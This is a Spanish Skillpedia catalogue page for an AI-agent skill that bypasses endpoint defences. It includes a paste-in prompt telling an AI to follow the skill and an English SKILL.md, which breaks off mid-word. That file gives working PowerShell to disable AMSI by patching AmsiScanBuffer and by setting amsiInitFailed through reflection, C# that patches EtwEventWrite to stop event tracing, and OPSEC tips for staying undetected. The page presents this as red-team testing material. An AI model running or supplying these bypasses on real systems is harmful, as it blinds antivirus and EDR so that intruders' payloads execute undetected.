Saltar al contenido
Skillpedia
Seguridad6,5 mil · #13929

defense-evasion

Qué hace

Esta referencia describe categorías de técnicas que intentan evitar los antivirus y las herramientas de detección en endpoints. Está pensada para probadores de seguridad autorizados que necesitan comprobar cuánto las detecta un producto de endpoint.

Cuándo usarla

  • ✓Cuando un equipo rojo autorizado necesita comprobar si un producto de endpoint detecta una categoría de técnica.
  • ✓Cuando un equipo de defensa quiere un mapa de métodos de evasión relacionados con las categorías de MITRE ATT&CK.
  • ✓Cuando un probador debe valorar el riesgo de un paso de prueba antes de ejecutarlo en un objetivo.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Nuestro equipo rojo quiere probar si nuestra herramienta de endpoint detecta métodos comunes de evasión. ¿Puedes darnos un plan de prueba seguro?”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

El agente usa la tabla de categorías y la correspondencia de la referencia para elegir categorías de prueba, y señala que cada método tiene una vida útil limitada y debe probarse contra los productos propios del objetivo.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

Task Technique Risk Level
Disable AMSI Memory patch AmsiScanBuffer Medium
Disable AMSI (stealthier) Hardware breakpoint on AmsiScanBuffer Low
Disable ETW Patch EtwEventWrite Medium
Unhook EDR DLLs ScareCrow / manual ntdll reload High
Generate evasive payload ScareCrow with AES encryption Medium
Execute via LOLBAS mshta, certutil, rundll32, regsvr32 Varies
Process injection Process hollowing, early bird High
Custom loader Nim/Rust/Go shellcode runner Low-Medium

MITRE ATT&CK Mapping

Technique ID Name Evasion Relevance
T1562 Impair Defenses AMSI/ETW patching, disabling logging
T1027 Obfuscated Files or Information AES-encrypted shellcode, encoding
T1055 Process Injection Hollowing, APC injection, thread hijack
T1218 System Binary Proxy Execution LOLBAS (mshta, rundll32, regsvr32)
T1036 Masquerading Spoofed code signing, renamed binaries
T1140 Deobfuscate/Decode Files Runtime decryption of payloads

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Hardware Breakpoint Method (Stealthier)

// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks

// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution

// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread

Reflection Method

# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process

[Ref].Assembly.GetType(
    'System.Management.Automation.AmsiUtils'
).GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

AMSI Bypass OPSEC Notes

Method Detectable By OPSEC Rating
Memory patch EDR memory scanning, Integrity checks Medium
Hardware breakpoint Thread context inspection (rare) High
Reflection (amsiInitFailed) Script block logging, known signature Low
Forcing AMSI error Process monitor, event correlation Medium

2. ETW Patching

Patching EtwEventWrite

// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.

IntPtr etwAddr = GetProcAddress(
    GetModuleHandle("ntdll.dll"),
    "EtwEventWrite"
);

// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

What ETW Patching Disables

  • .NET assembly load events (used by EDR to detect execute-assembly)
  • PowerShell ScriptBlock logging
  • Process creation events via ETW providers
  • Network connection telemetry from userland

ETW OPSEC Notes

  • Patch BEFORE loading any tools or assemblies
  • S
Preguntas frecuentes

¿Estas técnicas siempre funcionan?

No. La referencia dice que cada técnica tiene una vida útil limitada porque la detección cambia constantemente.

¿Cómo se muestra el riesgo?

La referencia indica un nivel de riesgo para cada categoría, como bajo, medio o alto.

¿Qué marco se usa?

Las técnicas se asocian con identificadores de MITRE ATT&CK, como Impair Defenses y System Binary Proxy Execution.

Detalles

Descripción original del autor

Endpoint defense bypass — AMSI/ETW patching, ScareCrow framework, custom loaders, direct/indirect syscalls, LOLBAS execution, process injection.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#13929
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas